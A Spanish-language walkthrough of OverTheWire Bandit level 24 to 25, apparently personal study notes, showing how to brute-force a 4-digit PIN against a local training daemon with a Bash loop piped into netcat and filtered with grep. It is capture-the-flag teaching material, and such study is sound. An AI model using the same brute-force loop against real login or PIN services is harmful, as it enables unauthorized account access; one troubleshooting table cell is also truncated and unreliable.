Bandit Nivel 24 a 25

Pagina oficial del nivel: https://overthewire.org/wargames/bandit/bandit25.html

Este es un nivel de fuerza bruta controlada: tienes que encontrar un PIN de 4 digitos entre 0000 y 9999, combinado con una contraseña que ya conoces, para que un programa en la red te devuelva la clave del siguiente nivel. Aprenderás a automatizar ese proceso con un solo bucle en Bash.


Objetivo

Conectarte al puerto 30002 de localhost y enviarle la contraseña de bandit24 seguida de un PIN de 4 digitos. El demonio acepta la combinacion correcta y responde con la contraseña de bandit25. Como no sabes el PIN, pruebas los 10 000 posibles (0000–9999) de forma automatica.


Que aprendes

Comandos nuevos / conceptos clave

ElementoQue es
for i in {inicio..fin}Bucle for en Bash que itera sobre un rango numerico
{0000..9999}Rango con ceros a la izquierda (Bash los conserva desde Bash 4)
echo "texto"Imprime una linea de texto en la salida estandar
| (pipe)Conecta la salida de un comando con la entrada del siguiente
nc localhost 30002Abre una conexion TCP al puerto 30002 en la misma maquina
grepFiltra lineas de texto que coincidan con un patron

Conceptos de seguridad

  • Fuerza bruta: probar todas las combinaciones posibles hasta encontrar la correcta. Es el ataque mas simple y el mas costoso en tiempo, pero infalible si el espacio de busqueda es pequeno (aqui solo 10 000 opciones).
  • PIN de 4 digitos: 10^4 = 10 000 combinaciones. Un PIN real con bloqueo tras N intentos haria esto imposible; aqui el demonio lo permite a proposito por ser un juego didactico.
  • Demonio de red (daemon): programa que corre en segundo plano y escucha conexiones en un puerto.

Paso a paso

1. Conectarse al nivel 24

ssh bandit24@bandit.labs.overthewire.org -p 2220

Introduce la contraseña de bandit24 cuando se pida. Veras el banner de OverTheWire y el prompt de bandit24.

2. Verificar que el demonio esta escuchando

nc localhost 30002

Lo que veras:

I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

Pulsa Ctrl+C para salir. Esto confirma que el formato esperado es:

<password_bandit24> <PIN>

3. Construir el bucle de fuerza bruta

El truco es generar las 10 000 lineas de una vez y enviarlas todas al mismo nc mediante un pipe. De ese modo se abre una unica conexion y se mandan todos los intentos en bloque.

for i in {0000..9999}; do echo "<pass_bandit24> $i"; done | nc localhost 30002

Nota: sustituye <pass_bandit24> por la contraseña real que obtuviste en el nivel 23. El placeholder aqui representa esa cadena de ~32 caracteres que nunca se escribe en estos apuntes.

4. Filtrar la salida para ver solo la respuesta util

El demonio devuelve una linea por cada intento incorrecto del estilo Wrong! Please enter... y una linea diferente cuando acierta. Para no leer 10 000 lineas, filtra con grep:

for i in {0000..9999}; do echo "<pass_bandit24> $i"; done | nc localhost 30002 | grep -v "Wrong"

Lo que veras al cabo de unos segundos (puede tardar entre 30 s y 2 min):

I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is <cadena_de_~32_caracteres>

La linea The password of user bandit25 is <cadena_de_~32_caracteres> contiene la contraseña del siguiente nivel. Copiala.

5. (Opcional) Variante guardando primero en un archivo

Si prefieres ver el progreso o la maquina va lenta, puedes generar el wordlist primero:

for i in {0000..9999}; do echo "<pass_bandit24> $i"; done > /tmp/intentos_bandit25.txt
wc -l /tmp/intentos_bandit25.txt   # debe mostrar 10000
nc localhost 30002 < /tmp/intentos_bandit25.txt | grep -v "Wrong"

Esto es equivalente pero separa la generacion de la transmision.


Por que funciona

El pipe como canal de datos

[bucle for] ---stdout---> [pipe] ---stdin---> [nc localhost 30002]

El bucle for escribe 10 000 lineas en su salida estandar. El pipe redirige esa salida como entrada estandar de nc. nc (netcat) la reenvía byte a byte al demonio en el puerto 30002, igual que si las hubieras tecleado a mano.

Por que {0000..9999} conserva los ceros

Bash expande {0000..9999} generando cadenas con ceros a la izquierda hasta que todas tengan la misma longitud que el extremo mayor. El resultado es: 0000 0001 0002 ... 9999. Esto es necesario porque el demonio espera exactamente 4 digitos.

Por que una sola conexion y no 10 000

Si abrieras nc dentro del bucle (un proceso por iteracion) tendrias latencia de red por cada intento y podrian bloquearte. Al hacerlo fuera del bucle, la conexion TCP se abre una vez y todos los datos fluyen por ella de forma continua.


Errores comunes

ErrorCausa probableSolucion
El bucle termina pero no ves ninguna linea con la passgrep -v "Wrong" elimino tambien esa linea si tiene otro textoPrueba `grep -v “Wrong”
bash: {0000..9999}: no funcionaShell antigua o sh en vez de bashAsegurate de estar en bash con echo $SHELL
La conexion se corta antes de acabarTimeout del servidorReintenta; la maquina de OverTheWire a veces tiene carga; el nivel esta disenado para esto
nc: command not foundnc no instalado (raro en bandit)Prueba ncat o socat TCP:localhost:30002
Ves miles de lineas Wrong! sin pararOlvidaste el grep -v "Wrong"Pulsa Ctrl+C y relanza con el filtro

Pasar al siguiente nivel

Una vez que tienes la contraseña de bandit25, sal de la sesion actual:

exit

Y conectate al nivel 25:

ssh bandit25@bandit.labs.overthewire.org -p 2220

Introduce <cadena_de_~32_caracteres> (la contraseña real que obtuviste) cuando se pida.


Conexiones

  • 00_README — indice del wargame y como conectarse
  • MOC_Ciberseguridad — mapa de contenidos de ciberseguridad
  • — si existe nota sobre scripting bash
  • — herramienta nc/netcat en detalle